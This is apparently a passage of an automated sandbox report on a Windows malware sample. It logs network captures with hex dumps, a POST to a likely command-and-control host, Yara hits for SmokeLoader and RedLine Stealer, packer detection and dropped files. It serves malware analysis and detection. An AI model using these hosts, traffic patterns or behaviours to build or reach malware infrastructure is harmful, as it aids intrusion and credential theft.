8f c8 2f c5 e3 09 e8 8b 73 10 ac 18 ba 77 b3 0e 9f 8f 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 0c 6b 93 83 01 ee 43 d9 ed 8a b7 52 dc 1a fe 85 18 57 27 01 7d 42 0d 8f 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 25 8c 57 7a 14 0f 5b 30 5f 7a d6 b8 78 fe c1 80 98 6d 6a 5e 32 d0 fd fd 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7f db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:11 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:12 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e1 8e e2 e3 0b 73 fd 08 d8 a1 5b 1d 69 07 04 66 d5 e7 62 38 e2 2b 47 68 b3 14 1d 81 a7 ee 90 63 fa cf bb 77 d2 90 f6 2f 25 4f a6 9e 75 40 35 18 2c fd 8c 81 f3 41 34 a3 42 ea 3d 2d 59 cd 3d 3b c4 14 89 a6 ba a6 b5 95 ff 9e b1 af 02 93 4b 62 96 5c 96 a0 10 ea 40 81 e0 62 7b a9 af 51 b8 22 86 ad 90 60 b2 85 30 16 b2 84 f4 17 ec b4 73 6f 73 af f2 ad 21 ce 86 2c d5 fd 9e 7b 6c 1d c8 8e c8 25 78 10 a5 9f f1 f4 a9 6d ee 06 07 7c 28 08 43 ce ba 83 8c 59 18 e2 f2 b8 fb 19 a7 8e c1 6c 6a bb a8 09 c0 eb ec 69 7c a4 68 53 71 d7 21 7d 91 9d f0 00 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 2e 00 f7 ff 34 8c 53 db 86 a4 1d 70 bf 1e e1 92 24 08 4f c5 e3 a1 c9 80 6a 7f d7 fd 69 09 1c 17 7e 6f bb 9a a5 46 c9 a0 e2 a9 dd 7a 0d 80 4e 19 e0 ec 90 a9 18 1a b5 96 be 35 51 61 9a c4 3e 7c 8d 28 c8 48 6b a1 c6 4a 9f 03 fd ec 9e aa 7b ac 87 df a4 61 0d d0 5d bf 46 34 fd f8 10 6c 33 2c 29 7c 1a 8d c7 ed e4 0e a4 eb 6e 71 eb 90 f5 1a 68 9b 4a d8 09 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 16 b4 f3 9f 3b 2a b9 72 be d5 23 51 72 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 71 a2 d6 2b 5d 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 dd c9 7d b1 79 32 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 41 b7 ae 51 46 28 e7 5b 5e fd ae 1e 26 6d 11 ee c3 7e 52 a3 4c 0d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 7b e5 1f 84 88 0f 74 fe 64 d8 d9 b0 b6 71 89 8a cd 24 7a 74 79 d0 7d 43 cc 79 8e 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 41 7a 17 68 fc ca 27 6b b1 a1 aa 7a 95 00 69 e3 cd 90 cf 37 00 70 e1 1c c9 60 e3 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 0d a6 70 14 2d 82 c8 f9 02 0f 0f ca 43 c5 25 2e 9f d6 d7 ec 35 88 c3 a7 0d 98 d3 d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 00 aa ae 48 ef b6 d2 41 46 7d da a9 20 ef c8 2f cb b2 10 e8 8b 33 1e ac 18 f8 6e b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 a9 c1 ea de 3d 9a dd 20 2a 82 f0 73 59 c5 d9 ed 07 d2 4b dc 1a 0e 8b 18 57 71 18 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 16 60 de dc 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 94 1c c3 5c dd fb 05 a7 2c f2 25 57 17 34 ff 6b 4b 71 9c 54 26 0a 7d 9e a4 8a b8 d0 3c 8a 76 22 48 Data Ascii: Uys/~(u:R\,%W4kKqT&}<v"H
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 9c 5f c9 4d c8 f1 01 ae 2c f8 64 46 56 3a bf 61 05 69 89 40 30 11 36 82 fc cb ae d4 2a c0 69 27 16 35 ff b7 Data Ascii: Uys/~(u:R_M,dFV:ai@06*i'5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:28 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 0e 81 08 dd 51 c1 fe 05 a6 3d bf 2c 44 4a 32 f1 63 03 65 9f 5c 2f 0a 6a d4 e3 87 b3 d8 6b cc 76 72 17 37 b6 fd ab b7 4d 7c 93 23 28 bf cc 86 71 ed Data Ascii: Uys/~(`:Q=,DJ2ce\/jkvr7M\|#(q
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 31 Aug 2022 06:34:44 GMTServer: Apache/2.4.25 (Debian)Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 32 37 34 66 65 0d 0a 2f 00 00 00 8f 3b 42 36 46 2c cf 62 b4 69 4c 7a ea be ee 06 5f 4c ee 8e a8 e1 af 06 13 a0 cc 71 e9 ea 11 2f 96 e3 88 cb 32 b7 9a 95 e1 3c f7 13 c7 f8 58 00 ca 74 02 00 1c ac 2b da 00 0b 07 00 09 00 34 00 00 01 f3 fe ca dd 67 3f 34 2e f5 cf f5 ba 61 0e 05 00 1d 16 4d 7c 20 61 57 61 c0 da 9e d4 46 d0 67 16 ee 46 91 4c 26 da a1 63 04 87 e6 7e fb fb 89 38 d4 b9 37 da fd c7 0a 43 a9 2f e9 de 6c b0 1e 21 02 a2 25 46 8d f4 3e 8b 18 74 ac f4 4c f0 bf b6 f5 b1 e7 89 6c 5b 92 6e 78 21 70 d3 c4 5b 94 2b eb 50 2a cf e5 e3 ec dd 29 b5 77 ab f3 c5 a2 40 60 11 9a 64 84 3b 8c 4d 71 0a 20 f3 f8 da 2c 48 a6 2a 8c 8e 49 92 5a c9 61 05 d4 53 93 84 d0 e9 0e 5e 74 3a 67 fc f1 c6 ba cc f7 b5 00 93 cb 7f 35 e6 78 0e 78 97 77 5d 12 a8 6a 14 06 86 62 65 97 02 6b 94 b1 47 1b e8 d0 1d 60 12 67 ed 37 42 8b 7d 3e 0a 51 39 aa 21 e5 28 71 f9 67 0c ea e1 74 15 ec de ea 45 75 8f 54 37 6b 0e 43 84 19 90 f3 d6 3f fa d3 2e 9f d6 77 15 cc c0 6b 80 fa c6 83 9b fb 27 90 16 22 d1 7b d3 ef 46 19 3d 4d 01 20 f5 7f 17 22 91 f6 fe 21 3a 2a f5 5e d5 48 dd 29 f0 b4 38 5c e8 12 15 36 1c ce db ec 65 51 62 44 d8 42 a7 21 be 30 5e 3d 10 32 e9 62 51 30 24 92 aa 6f 23 c6 48 a3 ca 05 20 ec c9 d4 c5 fd 15 a0 8f 4f ca 54 bc f7 54 20 ea 6e b7 4f e3 d4 97 b2 2d d1 c6 cb ad de e1 3a 6f 8a 03 85 9b 18 89 f9 c9 a3 bf 5c 32 b4 1e 20 97 94 56 c4 34 02 be f9 06 1e f8 49 82 7f 3f 07 57 c5 3d f1 88 90 1b d0 d5 98 ea fe ed be df c2 57 be 45 63 e5 e0 21 92 41 ec 09 c0 a1 74 88 c3 52 c1 95 bc 88 57 8d 1f 7a ed 75 cf d0 16 89 f0 83 80 50 46 5f ac 44 76 84 1c a5 cb 13 bc c5 98 e7 77 e0 c4 53 2d 4e 42 40 3d 23 e3 d1 24 8c dd e3 07 aa f7 8f cf 3c 5e 4f 69 12 c0 6d 14 b2 29 d8 6a 41 50 a8 43 8e cb 84 df 15 15 6e 45 32 05 3c 0e 2e 41 a9 84 da 72 ef 42 c2 f4 a9 44 1d 53 de b9 27 76 65 e1 8e 40 a5 76 bc 99 09 65 e0 dd 36 3c ee 83 0d 7b 82 91 b4 ea 90 ec b8 2e 16 5b e6 c1 6f f0 5f b9 a6 d6 3c ef 23 42 dc 09 4b 7f 27 f2 82 39 3a 38 58 0a 79 e5 3e 64 89 7b 7f 24 b3 6d 39 af e2 2d 2c 57 1c 6b 42 5b 73 96 8c 7a 8e 9b 99 d4 1f 56 ce b5 c3 02 ab c8 f3 3f 8a 09 8b ae d7 63 38 10 f2 81 a0 44 2e 87 2b 22 13 de 21 83 96 71 0b c5 3b 1e 82 50 a3 5d da 2f 80 84 83 af f4 38 de 3e 33 44 66 e8 14 f6 92 aa ab 2c c5 c7 79 84 e8 ec 25 29 54 61 54 ad 02 35 b7 85 76 62 9f 51 9c 99 3b 3f 4e 4d d3 c5 b4 fc 5d fa 1d 01 b6 d8 f2 ae 4c 72 f2 a0 dc b6 23 88 e0 eb 91 37 c9 88 2e 6c 24 e7 12 88 6c d0 cb 43 7f 0f 04 45 f6 40 a5 a7 02 14 83 dc 2a f9 9e 4a fd 04 90 31 82 8a 2b a3 fb f7 92 64 8d 6f 76 f7 33 cc a6 1b e2 cf 93 c1 0f 38 a7 32 f1 0f 7e c5 cd 78 85 fd 5a 61 35 a1 ff 47 4d 68 e2 0a ae 09 1e 8d b7 8f 7d 41 2e 49 48 09 7f c4 e2 b1 87 25 19 dd f8 8f bd c3 5d 5d 17 fd b1 1d 96 aa b4 13 ab 9f 91 0b 23 ae 74 c8 5d 79 92 3f 55 85 1c 04 0f 8a de 76 71 e1 5b 42 b0 b3 1f da da c0 4d 98 95 6a 26 00 a8 a5 1d eb b9 81 cf 34 d1 dc dc f9 fd 2b 5f cf 78
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fbmqj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: linislominyt11.at

Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.3:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.137.109:443 -> 192.168.2.3:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.3:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.3:49769 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 29.0.A784.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.900e67.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.900e67.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A784.exe.900e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A784.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.A784.exe.910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.480872467.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: bwgdrja, 00000010.00000002.397771887.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001D.00000002.507299454.0000000000900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000010.00000002.397859879.0000000000BD8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001A.00000002.482460524.0000000006881000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001D.00000000.483664720.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001D.00000000.486808594.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001D.00000000.486576660.0000000000900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000010.00000002.397461829.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001D.00000000.483255064.0000000000900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001D.00000002.507938605.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.349098806.0000000000A89000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Detected VMProtect packer

Source: 4962.exe.3.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041B460	0_2_0041B460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412E50	0_2_00412E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A680	0_2_0041A680
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_0041B460	16_2_0041B460
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00412E50	16_2_00412E50
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_0041A680	16_2_0041A680
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Code function: 17_2_0097F480	17_2_0097F480

Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
